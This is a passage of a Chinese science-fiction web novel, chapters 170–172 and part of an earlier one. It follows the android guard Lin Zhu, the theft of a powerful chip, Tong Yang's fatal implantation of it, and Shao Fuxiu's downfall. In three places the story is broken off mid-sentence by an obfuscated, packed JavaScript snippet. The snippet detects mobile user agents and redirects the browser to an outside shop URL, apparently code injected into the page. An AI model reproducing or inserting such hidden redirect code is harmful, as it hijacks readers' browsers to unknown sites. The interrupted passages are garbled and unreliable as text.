要不是背后的字和它存在的地方,玄烈恐怕第一眼并不会以为这就是二十年前大名鼎鼎第一战备的智识芯片。它看上去太久了,磨损得很严重,所幸没受过致命伤,该留存的内容大概都还在。 何况这可是第一战备的智识芯片,从内到外竟和现今舜氏最最普通的机械体无二区别,连多余的一层保护墙都没有。 玄烈把芯片握在手里轻轻颠着,这点小震荡完全不足以对芯片造成伤害。他意识到这是曾居住在这具身躯里的另一个灵魂,但至于他玄烈究竟是占据了这具身体还是别的,他自己都搞不清了。 但这都不重要,就像当初的研发人员并未下力气在保护这块智识芯片上一个意思。无论这具身体里居住着什么样的灵魂,第一战备永远是第一战备,第一战备的职责是守护舜氏守护永璃岛,此生不会再有第二个答案。 这么思索着,玄烈对于过去的事的探索欲猛然爆发出来。有声音往门口靠近了,这堵门应该能再坚持一阵,他开始迫切地想知道那些被所有人隐藏的真相。 很快,他在一旁桌上找到了那台能够呈现智识芯片记忆的蛋形仪器。 当屏幕上黑影扑朔,斑驳的白灰色光影点点闪烁之时,实验室门外响起了凌乱有力的脚步声。咚咚咚砸门声不绝于耳,子弹上膛声接连从门缝钻入。不开玩笑,外面几乎有一个师的力量。 要么玄烈制造一场史无前例的爆炸将它们炸死逃脱出去,要么在门开的刹那变成筛子被子弹雨砸得不剩全尸。无论哪种,都无法阻止旧日第一战备的记忆渐渐在屏幕上显现,无法阻止玄烈探索那些所有人都要瞒着他的秘密。 屏幕里有人说话了,玄烈将操纵台上的音量旋钮转至最大,盖过了门外朝他喊话的声音。 一个青年人站在镜前,他与镜子里的自己对视,亦如玄烈和他对视。旁侧高楼之上的方窗被人卸了下来,如今只余方形空洞留在那里。高处逍遥的劲风将浅灰色纱帘吹得飞起,也掀乱了青年人那毛茸茸的黑发。 他对着镜子整理着自己身上一套崭新的黑金色制服,谨慎小心地将一闪亮亮的金徽章别在心口,袖口利索,领口立整,金属与棉麻揉制成的全新面料裹在人身上,该立挺的地方立挺,该修身的地方修身。青年人扬手胡乱撩了撩被风吹乱的头发,门外传来叫喊声。 虽听不清外面叫什么,他还是应了声:“来了!” 临行时,他满眼热忱地紧密望着镜子里自己的双眼,绽出了明亮清澈的一个笑,一个谁人都无法轻视的、自信又满足的笑,遂走出了门。 整合了当前所有最新最前沿的技术,作为一级战备而被创造的凛烛,自诞生就被人们所注视着。 能分辨分析与记忆任何颜色,能听到隔十层墙外的任何声音,能明晰任何味道,重要的话听一遍就能记十年。从小接受了良好的教育,文武俱佳,反应敏捷、身手矫健,略懂人情世故。 外表上看与人类无异,符合正常人体生长规律,拥有仿生细胞与仿真心跳,和近乎刀枪不坏的身体。任意变形,他全身上下的每一处都能作为武器,整个一行走的武器库。 走到哪里都被敬仰和畏惧,万事争第一。舜氏机械体正式调整与改编成全新机械体队伍的那年,一身全新的机械体总队长制服与至高无上如免死金牌的金质龙兽徽章被送到他房间里时,他十六岁,正是意气风发的时候。 那时谁都知道大小姐舜真对这个机器人青睐有加,日常没什么重任时,凛烛便常常被当作舜氏高层乃至舜真的私人侍卫来使唤。但他再强再好看也不过是个机器人,舜延之外的人曾试图劝说,却激起大小姐逆反心理。于是便睁一只眼闭一只眼,众人也只敢在背地里嘲笑她、说三道四。 那时也不过年仅十六岁的舜真喜欢围在凛烛身边,而凛烛也愿意事事陪着她。除他之外,舜真在舜氏的这些日子常被裹挟到舜氏高层的纷争里,自然不会有什么朋友。只当是陪着舜真成长的机器朋友,舜延从未插手舜真和凛烛的任何来往。 在背后嚼舌根的人们在说尽讽刺之余也感叹如果凛烛也是个完完全全的人类就好了。 可惜不会,惟有他不那么精通人情世故又听话得体,看似被添加了所有人类所推崇的良好品质,才能赢的人心。但凡有所欠缺,就会引人诟病,恐怕也只有数字堆成的机器人能勉强做到。 凛烛从来不知道累,他甘做哪里需要就哪里搬的砖,也是科研人员眼中的定心丸、强心针,这是他们目前最骄傲的作品。 当然,正在研发中的第二战备除外。 彼时舜氏集团正致力于创造一支举世无双的机械体军团,而凛烛就在其中充当最最核心的总队队长职位。机械体中,他的权力最大。但这些都并非为实现统治,只是为守卫永璃岛太平。 说起来,舜延其实并不具有什么奉献天下苍生的大爱。他或许只是觉得在这样一个小岛上搞什么王权,就像在玩小孩子玩的过家家游戏一样,没多大意思。倒不如能看着百姓平安喜乐,舜氏家族有舜氏集团为托底,尊享荣华。某种程度上讲,舜延知足常乐,也算是有一大美德。 但是就像长久的和平下总会有暗流涌动。某一天,实验室的机密科研成果,他们最新研制的、传说能够集合极强能量与人类特性的、威力为毁灭级的芯片,被盗窃了。 抛开一些核心实验人员,毕竟他们没理由监守自盗。退一万步讲,纵使他们监守自盗,可只要在永璃岛,在舜氏的地盘,他们就逃不开舜延的眼睛。那么余下知晓并能接触到这块芯片的可能是谁呢?是谁有意窃取舜氏最重要的研究成果,有意和舜氏为敌? 韶赋修。 作为舜氏集团现任三巨头之一,韶赋修的地位虽不能完全于正统董事长舜延比肩,却也能同玄铮一起,与舜延同居舜氏集团最位高权重的第一序列。他们自军队相识,有一样的理想,几十年的交情,流血流汗吃苦时互相打气,一起打拼出这番宏图伟业。 老大舜延首先成家立业,而另外两位一直泡在实验室里。二哥玄诤为人忠厚乐观,热心开朗,总能逗得众人开怀大笑,小弟韶赋修则稍显内热,话不多,却很有想法,不是浅浅点头安静聆听,就是在滔滔不绝畅谈自己的宏图大业。 虽然现在正在舜氏内部分裂严重的时刻,但舜延第一个怀疑的是玄诤。玄诤是潼氏集团的旧部,大学毕业就进入了潼氏,一干就是七年。这七年耗尽了他的血气,超高强度工作和迂腐溃败的制度双管齐下,再加上环境乌烟瘴气,一个个都是披着人皮的野兽,终于在他险些猝死的某天,他睁开眼第一件事是写辞职信,随后报名了新一届征兵,这才认识了舜延,也才来到永璃岛。 不过,尽管他已经扎根于此多年,尽管他们友情情真意切……想到这,舜延才注意到这个本该嫌疑最大的人。 他们原本就知道韶赋修是个拥有高追求的人,他的雄心壮志从他们当兵起到现在仍不止不休地被他挂在嘴边。野心都是被撑大的,早在一开始,他们全然想不到韶赋修会偏执到今天这个地步。 可能称王称霸的野心从韶赋修正式任职总工程师那天就埋下了种子,但绝对与他后来认识潼玚脱不开关系。 “……对不起,我、我知道这对咱们很重要,可是潼玚说这项成果影响力很大,或许我们可以靠这个闯出国门、闯出世界!或许、或许我们可以利用这个芯片,建造一个帝国!你们不是不明白,这个芯片多么强大!它甚至可以创造一个有生命的个体,可以创造 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他双臂叉在胸前,耳朵在尽力挖掘着某处人们的谈话声,脚下随他大脑的急速思考而时快时慢来回踱步。 凛烛时不时也向上看。但与其余机械体不同,他知道大厅中层之上有并排的十间会议室,而那些将他们尽数叫到这里的高层人们正在里头就一些事展开激烈讨论。有时讨论上头,他还能听见几句脏到难以明说的难听词句。 中层白玉石雕栏杆边,一张粲然青涩的笑脸一直紧盯着凛烛。 舜真向来是哪有热闹往哪凑,这回也不例外。虽然她在左脚上穿着的靴子鞋尖刚刚探进会议室的门瞬间就被连人带鞋一起丢了出来,但她还是很开心,毕竟工作时段能见到凛烛,实属千载难逢。 见楼上人边笑边冲他挥挥手,凛烛也发自内心会以了灿烂的微笑。此时,伏策赶回凛烛身边,并将事情的来龙去脉全数告知了他。 “芯片失窃的第一时间,舜董下令搜查了韶总的房间和办公室,什么都没有,后来一路查到出入境管理局,才知道韶总早在三天前就乘船离开了。目前掌握的信息是他先搭船由永璃岛去了永颉群岛,后乘飞机飞往缱清州,并在两天内于缱清州周边五个城市两个独立区三个不同军团驻地频繁往复。最新情况是,他已于三个小时前乘海下轨道动车到达哉徉岛,之后的状况我们无法得知。” “确认是他偷的吗?”凛烛轻声问道。 “监控表明他离开前的确进入实验室,但从未触发警报,而近三天集团年庆,在他之后无人进入实验室。”伏策如实答道。 正说着,会议室的门大开,舜延、玄铮、林瑀等人面色铁青走了出来,一句话不说,板着脸接连离开。 舜真哒哒哒跑下楼挤到凛烛和伏策中间,兴高采烈地扯住凛烛衣袖,“今天我放假!咱们去珣魑山玩吧!” 见凛烛沉默着不言,伏策先开了口:“下午的巡逻我看着,有事会联系你。” 舜希离开前闲聊时曾给舜真提起过珣魑山有秘密基地,舜真早耐不住性子想探索一番,这下终于得了空。午后,天光正好,清风徐徐树影摇曳,凛烛调出舜氏地下管道地图,二人左溜右溜很快来到了珣魑山脚下。 有围挡的地方越过围挡,需要出示证件就出示证件,恰好他们二人几乎各自占着舜氏不同区块的近半数权力,就差在机密程度极高守卫森严的珣魑山横着走。 可惜他们目的地错了,舜希将他们指向的正是整座珣魑山最隐秘最不为人知的地方——舜停等人的地下秘密基地。 170. 凛烛(3) 从竖井跳下那隐秘无光的房间时,舜真只当是闯进了一场刺激的豪华冒险。这里没有一丝光,凛烛眼睛自带红外线感应系统,舜真则熟练地带上了探黑眼镜。 “怎么样?装备够齐全吧?”黑暗中,舜真得意地晃晃脑袋。 凛烛则笑着点点头,顺道一把捞起险些被桌边绊倒的舜真。静谧空间里,有一处模糊的光源,二人缓慢地朝那边探去,视线穿过窗口,他们才发现里面别有洞天。 这辽阔如地下停车场的低矮空间内,竟整整齐齐摆放着如此数量的金属台与特制手术床,天花板嵌的灯管比发丝更密,不计其数的精密仪器沿台摆放,光是缠起来的电线就足够将一条大河拦腰斩断,一滴水都跃不过去。 靠近房间的这边甚少开灯,更多人在远处劳作。机械运转发出的噪声堪比十架直升机同时起飞,人们手下仪器运作闪出的耀眼光点好似五台世界上最强激光炮同时对准一只无辜的飞鸟,总有新鲜出炉的“作品”被人们端着跑来跑去,相隔十张床的人们来回喊话激烈热络,好一派熙来攘往热火朝天的景象。 以为是什么新奇的机密项目,凛烛扬起腕表,将摄像孔对准他们感兴趣的方位,二人眼前霎时展现出一面全息投影。亮盈盈的光打在二人脸上,他们笑看一个人跑得太急被地上一箱子绊倒了,旁边人略带嫌弃地将那箱子扶正,随即将一捧热气腾腾的心脏放进盒子里,让那摔倒的人带离。 “这是什么?”舜真不自觉眯起眼睛。 感觉到不对劲,凛烛再次瞄准另一箱子,并放大再放大。这次不再是心脏了,而是……一坨被某种药剂激发膨胀到三倍大的、通体淤青淤紫的……人脑。 “呕!”舜真险些要吐出来,还碰倒了桌边的一盆花。 好像听到了这边的动静,几个人循声看来。凛烛瞬间关闭了腕表并摁住舜真的腕表避免发亮的表盘被发现。舜真吓得转身就要跑,却被凛烛定定拽住。 “你要杀了他们吗?”舜真震惊地问。 “不,在搞明白他们在干什么之前,这样会打草惊蛇。他们在明咱们在暗,发现不了咱们,一点点向外挪。”凛烛说道。 二人谨慎地向后方挪动,那些白大褂互相对望了几眼,朝这边走来。舜真目不斜视盯着对面人的动向,凛烛则紧急搜索着房间的逃生出口。 忽地,对面人不知说了什么,竟一个个拔出了枪并快步跑来,竖井一侧也有脚步声,正铿铿地向下运动。两相夹击,凛烛望着墙边贴着的水墨山水巨幅壁布,突然心生一计。 “小真,捂住耳朵。” “什么?”舜真没听清。 “捂住耳朵!” 凛烛话音撂出的同时,库星枪口“咻”的一声爆发出一缕一闪而过的湛蓝色光束。但那不像是激光,如果是在极高精度的高速摄影机镜头下,或许能看到光束并不是由光点组成,而是由一颗颗在空气中擦出蓝色火星的砂粒组成的。在人类肉眼尚未反应过来的间隙,凛烛掀起的壁布下方的墙壁赫然显现出一个直径一米的大洞。 “来!” 凛烛搭了把手,舜真立刻便钻了进去,紧接着他也爬进去,又将壁布恢复了原样。 大功率机械被关闭,空间顿时死寂下来,这时一个脚步声都会被放大数倍。只听见乌泱泱一群人涌入房间,交叠回闪的手电筒光时而晃过壁布,他们躲在洞后的小小天地沉寂无声。 “他们没地可去!搜!” 随着一人一声令下,翻箱倒柜的声音开始了。眼下的情形,多拖一秒都是灾难。 舜真手心冰凉,整个人紧紧缩成一团,慌张地打开腕表胡乱划着联络名表,可她除了舜希和凛烛之外,再无别人是有任何事都能即使联络和求救的关系。 凛烛按了按她的手,从凌乱的洞内抠下一颗小石子,在衣袖上来回摩擦着,口中发出“嗞嗞”的怪声。舜真一脸懵地看着凛烛搞怪,只听见外面的人一个个都在叫“老鼠”才明白凛烛是何用意。 虽然并不熟练,舜真也跟着模仿老鼠磨牙的声音,场面一度很滑稽。一帮人气急败坏跟没头苍蝇似的将他们上司的休闲室翻了个底朝天,而真正的闯入者却在昏暗潮湿的洞、还是现打的洞里模仿老鼠。 模仿到一半,见凛烛实在太全神贯注了,舜真没忍住想笑出声来。幸而她赶忙捂住了自己的嘴,才不至于坏了事。 一群人翻找无果,全都接受了是老鼠误入的事实,一个个又原路返回去了。 屏息静声的几分钟里,二人猛烈跳动的心脏和劫后余生的叹气将洞内捂得热乎乎的。大功率机械声再度响起,见外面的确没危胁了,凛烛起身要掀开壁布,这回舜真却拦住了他。 “你看,这墙上被你砸出来的两块凸起的石头,像不像你和我?” 凛烛凑近着看了半天,也没瞧出来这两块灰扑扑的形状不规则的石头哪里像他。 也不等凛烛回复,舜真便自顾自拾起一块边角锋利的石头在墙上刻画。乒乒嘭嘭清脆的声音在不大的洞窟内回荡,舜真整张脸近乎要贴到墙上去。 “咔”的一声,洞里瞬间亮了,是凛烛打开了手电筒。 不一会儿,墙壁上的小人就栩栩如生了,是一对手拉手跳舞的小人。在“艺术家”的加持下,凛烛终于看出来那块石头究竟哪里像自己。 凛烛的手攀上其中那只样子奇异的人偶。雕线走向深浅不一,粗糙磨手,即便如此,他还是用指尖记下了舜真手下刻出的所有线条走势,“这是……机器人。” “没错!很像吧?”舜真眸光熠熠地说。 “嗯,很像。”凛烛重重点头。 “凛烛,你想当人吗?”舜真忽地问。 望着那只翩翩起舞的长发小人和它身旁那只木偶形态带电线的小人,片刻,凛烛咧起嘴摇摇头,“现在这样就挺好的。” 许是没有听到想要的答案,舜真眼瞳里的光很快湮灭了下去,意识到自己没讲对话,那与生俱来的服从感顿时占据了凛烛的大脑。他想弥补什么,就听见舜真略带失落地问道:“咱不能走来的那条路了吧?” 凛烛望了望洞口边的壁布,又摸了摸洞窟尽头的石块,朝舜真比了个枪的手势,“从这里,炸出去。” 舜真眼里的光瞬间又绽放了起来,“好玩!” 作为补偿,端起枪释放激光前,凛烛不忘补上一句:“这幅画就留在这里吧,下次走这里就能看见。” “好啊,”舜真丢下手里的石块,“等到二十年后三十年后五十年后你再来看到的时候,可不要忘了我!” 凛烛敲了敲自己的脑袋,“没问题,我的记忆力,世界第一。” 五日后,一通奇怪的电话打到了舜延办公室,当时恰逢舜延等人围在一起探讨芯片被盗的应对措施。电话未经秘书转接就叮铃铃响了起来,通信部部长立刻收到消息表明这是潼氏打来的。 本以为韶赋修终于肯露面承认自己的盗窃行为,舜延接起电话后,对面却飘来一声优雅知性的女声。 “喂,是舜延舜董事长吗?” 因为按了免提,对面人的声音径直扩散到整个办公室里,人们面面相觑。舜延走到办公桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人哗然,借此机会将他们积压了好几天的恐慌释放出来,而舜延陷入了长久的沉思。他自己也知道,什么保全自身,在那枚芯片和潼氏力量的压迫下,根本就是屁话,不过出于一个堂堂集团董事长的挽尊而已。 好半天,林瑀站了出来,“咱们得把芯片要回来。” 舜延闻声抬眼朝林瑀望去,跟在林瑀背后的刺头小子杨宁畏畏缩缩了半个世纪终于鼓起勇气跟着附和了一句:“咱们也设个鸿门宴!” “没错,他有胆偷,就该有胆来。有胆来,就让他没胆走!”纪棠烬点点头也觉得这一做法十分可行,他身穿白色实验服抱着手臂,阴沉的眸光里散发着对电话那端人们的深恶痛绝。 “凛烛。”舜延召唤道。 “在。”凛烛向前迈了一步。 “一周后集团将举行庆典,庆祝集团研究成果产生飞跃性的突破,遂特邀行内顶尖科技人才参加,进行成果研讨交流。届时你集结机械体,分散守在大楼各个位置,让伏策带领黑羚羊守在次顶层等着听令。”舜延下令道。 “是。”凛烛应道,旋即退出了办公室。 而后来,与其余任何邀请不同,舜氏在同潼玚通过那通电话后发去的邀请函中,邀请原因是舜氏将首次开放与潼氏的合作,两团隔海相望的强大力量终于在这座被迫搭建的桥梁下建立起了联系。 只是看似坚固的桥梁下深藏的暗流涌动一刻不息,此后恐怕要激起更不可测的风浪。 171. 凛烛(4) 一月后,晚宴如期举办,潼玚和韶赋修盛装出席。起先韶赋修颇有防备,但在酒过三巡后,韶赋修开始感动舜延和玄诤终于想明白了和他们展开合作。朋友再聚首,他们喝了很多酒,讲了许多掏心窝的话,就差痛哭流涕了。 狂欢过后的寂静夜幕下,四人排坐在天台仰望星空。每个人的脸上都泛着红晕,玄诤入戏太深和韶赋修侃侃而谈,舜延注意到潼玚一言不发只是温和地笑笑,他在她眼里完全看不到一丝担忧或是疑虑,只是和润春水一般敞亮。 “你再去拿些酒,好吗?”潼玚轻轻拨了拨韶赋修那被风吹乱的头发。那张泛红晕的脸倒显出他有那么几分罕见的憨傻之气。 “不、不喝了,”韶赋修抓住她的手攥在双手之间,“喝太多酒对、对身体不好……不方便怀、怀孕……” 听到这句,潼玚忽地怔住了,掩饰的笑很快从嘴角绽开,她推了推韶赋修,“瞎说什么呢,让你去你就去……” 韶赋修“咯咯”笑了,老婆大人的话他不好反驳,只乖巧地点点头一溜烟跟小孩似的向楼下跑去。 天台风大,吹散了来时的路,潼玚发丝飞卷,裙摆飘扬。舜延直直盯着她,“潼玚小姐。” 潼玚抬手将散发别到耳后,视线和缓地望向远处黑暗深空中的一片混沌,红唇轻张轻合,“来不及了,太晚了。” 然而玄诤已经完全喝醉了,眼神迷离,将手中的酒瓶在旁边的台阶上狠狠一磕,又将玻璃破碎锋利处对着潼玚,“你不要……不识好歹!偷芯片是你们一起商量好的吧!你休想利用我们……的实验成果去、去完成你的烂计划!” “是,”潼玚轻而易举地全盘承认了,“但我越来越发现,很多事情我都想得太简单了。从芯片拿到手的那一刻,我才知道他对于成立自己的事业、建立自己的霸权有多疯狂。” “自找的!”玄铮哼哼了两声,向后一躺就要睡过去。舜延一巴掌甩在玄铮肚子上,“当心你睡到一半掉下去摔死。”玄铮又不悦地哼唧了好几声,才歪斜着身子又坐了起来。 “我、我没有想……想用这种方式……”潼玚垂下头一字一句艰难地说着,好像她此刻在受什么刑,语气甚是怪异。 “我想要,清清白白靠自己努力的成果,堂堂正正地……” “堂堂正正地什么?”玄铮不耐烦地问道。 “堂堂正正地歼灭舜氏!” 此话一出,潼玚猛然间抬起她的脸。那张脸上笑容张扬,血腥的红唇变得干裂扭曲,横亘在她太阳穴以及脖颈间的青筋尽数暴起,瞪得巨大的双眸里骤然闪烁着红光。 玄铮被这狰狞面目吓得顿时醉意烟消云散,他连忙一骨碌爬起来捡起地上那被他敲碎的酒瓶子。作为老大哥的舜延则显得镇定地多,他按下玄铮的手,“你、你已经把芯片……” “放在了这里。”潼玚抬起白皙修长的食指,点了点太阳穴。那猩红色尖锐如怪物的长甲仿佛在舜延的心里划了一道又一道,摩擦出刺耳的声响。 不容犹豫,他立即摁下遥控器的紧急按钮。顷刻间,整座大楼回荡着机械的咔咔响和整齐到震天动地的脚步声。 此时韶赋修拎酒赶来。他不明白发生了什么,眼见潼玚举止怪异,只能失措地大喊道:“潼玚!” 他刚想向前冲,但被同时赶来的凛烛拦住。 “你想干什么!我命令你……” “你无权命令我。”凛烛顶着毫无温度的语气说道。 猛然间,失了神智的潼玚跳起来,从腰间拔出一枚刀。难以分辨是非的眼睛顶着漆黑夜幕,她开始冲着舜延和玄诤一片乱砍。 因有机械体护卫的舜延和玄铮从不配枪,现下只能见身边有什么捡什么,酒瓶之类的物件很快被削得七零八落,打铁一般的声音在此刻交杂凌乱,幸好凛烛以近乎瞬移的速度挡在了二人面前。而此刻看管着韶赋修、不让他乱跑的是伏策。 迎着凛烛手里那柄被唤为“库星锥”的雕金匕首,潼玚看了手里已经钝了的刀刃开始狂笑。芯片给予的能量使她的指甲变得无比的长,活像几根尖锐的长签,轻轻一刺就能穿心。 笼络得柔顺飘逸的长发此刻乱糟糟地贴在她大汗淋漓的肩膀和脸侧,皮肉也在作用下越发透明,手臂内部的骨头不知是光的作用还是能量使然而变得盈盈冒青光。 潼玚在凛烛身前左右移动试图找到突破口,进而将两人通通刺杀,但她无论怎么移转,都仿佛被凛烛看穿,挡在她身前。 “潼玚!潼玚!” 韶赋修还在眼含泪水嘶吼着。 但潼玚什么都听不见,她的头发掉了许多,脸越渐煞白,不受控制地颤抖着,四肢几处泛起了淤青,像是已经撑爆了血管。显然,就目前来说,人类是无法更好地消化这枚芯片的,在肉体凡胎里甚是憋屈的芯片中更多的能量只会被一再积蓄,或等待着一场爆发,她操之过急了。 她不管不顾猛烈地冲撞着,嘴角渗出了血,长甲划破了凛烛左臂的仿生皮,险些割到了凛烛的脖颈,她移动飞快,撕咬这凛烛的右肩。凛烛吃痛,一拳向潼玚的腹部打去,折断了她的胳膊,将她一把甩的老远。 凛烛并非不能将潼玚一招致死,只是如若不是董事长面临危险,他甚至不能擅自攻击人类。 远处的潼玚筋疲力尽,芯片带给她的能力还在飞速运转,但她的身体已经严重超出负荷,她痛苦不堪,撕着嗓子想发出声音却无能,强烈的不受控,让她蜷缩,甚至痉挛。 目睹了这一切的韶赋修喊哑了嗓,一口鲜血喷出,直直晕了过去。 凛烛刚要再下死手却被舜延叫喊住,原地化成了一尊石像。玄诤赶紧跑上前去,确认潼玚仍有一息尚存。 舜延看着一地狼藉,从内兜掏出一瓶小药剂,给潼玚灌了下去,瞬间安静下来。 几分钟后,潼玚短暂地恢复了神智,她奄奄一息躺在冰冷的地板上,舜延走来蹲在潼玚身旁。 “韶、韶赋修呢……”潼玚孱弱地问。 “他昏过去了,我想,他醒来以后就会想明白。” 潼玚的脸上再次浮出一抹微笑,像是无奈像是奸诈像是痛心像是释放,没人能看懂,“那就好……” “急于求成就会付出惨痛的代价。”舜延道。 “这是我唯一的办法……这些日子,他独自给芯片进行过三次改装……都失败了,差点、要了他的命……把芯片拿回去,把他永远赶出舜氏……要他学会靠自己的力量,要他学会承认自己只是凡人……从、从零开始。”潼霜说得艰难。 舜延望向潼玚,“你竟然有这么一片苦心。” “我有个孩子……” “孩子?和……” “和韶赋修的,他不知道……” 潼玚还想说点什么,又只是双唇动了动,并没发出声音,舜延俯身,凑在潼玚嘴边。 “在市中心的……建设医院,别、别告诉他……” “为什么?” 潼玚不言,绝望地闭上了眼,眉头紧皱,眼角流出潺潺泪水,她知道自己大限将至,无限遗憾和伤悲再也没办法释放。 “舜延,你灭了我全家,我……恨你,有朝一日,定会有人替我报仇……但在那一天之前,我请求你……” 头疼欲裂中,她的意识模糊起来。 “保护好我的孩子……不要让他……我们,都是试验品……都是,试验品……” 转天,舜延不惜托上自己完全的人力物力财力才瞒着韶赋修和潼氏将那孩子远渡重洋带回舜氏。小男孩白白胖胖、憨态可掬,睫毛一闪一闪,熟睡中砸吧着小嘴,让舜延心痛。 韶赋修被送到舜氏医院养病,但他不肯闲着,自苏醒的那一刻就四处寻找潼玚,搅得天翻地覆。得知了潼玚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14403101|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经去世的消息,他闯进实验室将那些器械设备砸的稀碎,手持不知道哪里来的一把大刀,发誓要把人们都杀个精光。 人们争相包头逃窜着,未收到指令,机械体们也慌乱地不知是否该将这人拿下。路过一走廊,韶赋修一把抓住了无辜的舜真,将刀抵在她的脖子上要挟舜延和玄诤正面对峙。他呼吸急促,颤抖着,红了眼。 这是一方类似临时仓库的空间,又像监狱,高处的小方窗是这深灰色墙壁围成的空间中唯一能透进光的地方。然而这空间是半开放的,原本是两面墙璧的地方被打通,形成一条道路的折角,像个路口,韶赋修便绑着舜真靠在角落。 身着白色实验服的舜延和玄诤急忙赶来,刚想跑去救舜真,又被刀逼退。舜延的额头渗出薄汗,他思索自己实在是粗心大意没有好好规划这场局,才至于如此下场。 “赋修,你听我说,你先把刀放下!” “还有什么可说的?!舜延,你凭良心说,我跟你有什么深仇大恨!你!让你这样对她!你以为这样我就会知难而退在你这舜氏当个一辈子抬不起头来的废人吗!” “不!是她私自安装了芯片在身体里!这张芯片才刚刚起步,这样擅自就使用无异于是在自杀!你不知道她……” 说着说着话音隐去,舜延不可思议地看着韶赋修的眼睛,那双毫不惊讶又充满怨恨的眼睛。 “你……知道?” “我知道!”韶赋修喊道,“是我告诉她这张芯片可以植入体内!” “可你知道……” “要成功就要有牺牲!你、你们这群人什么都不懂!所以一辈子只能缩在自己这一片地方当一群傻子!” 韶赋修越说越激动,泪水夺眶而出,手中的刀已经不自觉划伤了舜真的肌肤,“你们从来都不明白我的理想,从来没有了解过我!” 众人眼看着舜真的脖子在刀刃下流出血来,不禁倒吸一口凉气。慌张间,韶赋修也看到自己刀下的伤口,吓得瘫软起来,手一松,刀就清脆地落了地。就在这时,凛烛从背后一把冲上前去推开韶赋修,将舜真扯了出来。 舜延立刻迎上前去托住自己快要被吓晕的女儿。所幸只是皮肉之苦,终究还是没有伤及动脉。他怒视着韶赋修,眼里满布红血丝,攥紧的双拳颤抖着,半个字也吐不出来。 韶赋修双眼无神地瘫坐在地上,“你们坚守着可笑的大义,只有潼玚……只有她能理解我……” “所以你就哄骗我们,假装她怂恿你做这些脏事!” “我害怕了!我不知道怎么面对你们……但是她说没关系!她说为了爱,为了我,她什么都可以做的!” “你疯了,”舜延切齿地说,“恐怕是你臆想出来的吧,自己编造了一个令自己信服的理由,拿身边人当试验品!” “我没有!我,没有……总要有人踏出第一步的,我不会让她白白葬送……是你!是你们!就是你们害死了她!毁了我!舜延,我和你们不共戴天!” 舜延扶着女儿,头也不回地走掉。留在原地的玄诤,挥挥手让凛烛送韶赋修离开。 意思是让他滚得远远的,如果他有怨言,该杀就杀。 楼下,凛烛一言不发,做“请”的手势示意韶赋修可以自行去该去的地方。韶赋修看穿了玄诤的意图,想着这小子果真也是个心狠的人。此刻的他已经吸干了绝望,把自己收拾立整,好像什么事都没有发生过一样。 “你就把我送到这里吗?不杀了我?” 凛烛摇摇头,不说话。 “心软善良大发慈悲是人类最最最没用的特性,不是什么好事,你自己掂量。” 韶赋修抛下这两句话,回首向高处遥望了一阵那高耸入云的大厦,撩拨了两下头发后离开了。凛烛并未听进去他的话,只是想着这个人几分钟前和现在完全是两副样子,有够诡异,让人胆寒。 172. 凛烛(5) 未来的一年中,舜氏集团依旧有条不紊地运转着。依然是先前舜延主外玄铮主内的格局,韶赋修离开后他的位子轻而易举就有人补上了,对舜氏来说,这件事的影响微乎其微。 实验室调试检测一番后发现芯片并未受致命伤,强行催动所导致的芯片损耗也不过与连续做五次施压测试造成的损耗相等,团队重整旗鼓再上路,很快便进入了芯片进一步开发与改良的进程中。 潼玚死后,潼氏集团似乎遭遇了不小的打击,股价一落千丈,甚至有一些投资失败的人因此跳楼的报道。一大台柱子快要倒了,但另一个台柱子还挺拔直立着。因此,短短一年间,永璃岛科技产业的兴旺程度已经越了潼氏三层台阶。 第二战备还在研究中,只是从一个小机械盒子变成了一个大的盒子,外表上看变化不大,实际上那些研究人员倾入其中的心血丝毫不少于研发凛烛的时候,众人的眼中随着这盒子一天天变大而产生熊熊的烈火。 他们满腔欲望,他们心照不宣。 凛烛在这一年中领略了更多更高领域的知识,他开始爱玩、爱探索,开始渴望躺在实验室的铁台上获取力量,开始变得更鲜活。舜延曾拍着他的肩膀讲道:“你才是我们集团的核心,是我们的骄傲。” 这颗新星璀璨在舜氏集团的宏伟蓝图中,照亮了周边的一切,照亮了每个集团人员的眼,照亮了舜真的心。 她发觉自己竟然难以把控地爱上了一个机器人,她为他疗伤,给他讲学校的趣事,希望他能一直待在她身边。但人类公主和机器侍卫的爱情不会有一线生机,甚至不太会存在。凛烛知道大小姐对自己有情谊,但他不能明白这之中到底是利用是依靠还是什么他理解不了的东西。 舜真说需要,他就不顾一切取来,她说害怕,他就挺身而出推开。 凛烛身材挺拔,身怀绝技,性情纯良;舜真相貌姣好,聪明伶俐。她明眸皓齿,一席杏色长裙摇曳在风中,手腕的铃铛链“叮当”作响,眼睛眯起灿烂的弧度,逆着光笑着向身后人招了招手。 我在这里,你快跟上。 舜延就这样一天天看着女儿陷在这个机器人中无法自拔,等到他反应过来一些事的时候,那颗春风吹又生的种子伴着火苗已深埋在铜墙铁壁之下。他走不进女儿的心,只得无奈又痛心。 就是这样风和日丽的一年,埋下了无尽的祸患。 渐渐的,集团传出来许多工作人员感染病毒的消息。起初众人没有在意,想来可能是某个病菌的变异株罢了,只是觉得这传染病实在怪异,被感染的人首先会食欲不振,进而少眠,一天天变得没有力气。 直到第一个生命因此枯竭,舜氏集团上下开始惶恐不安。 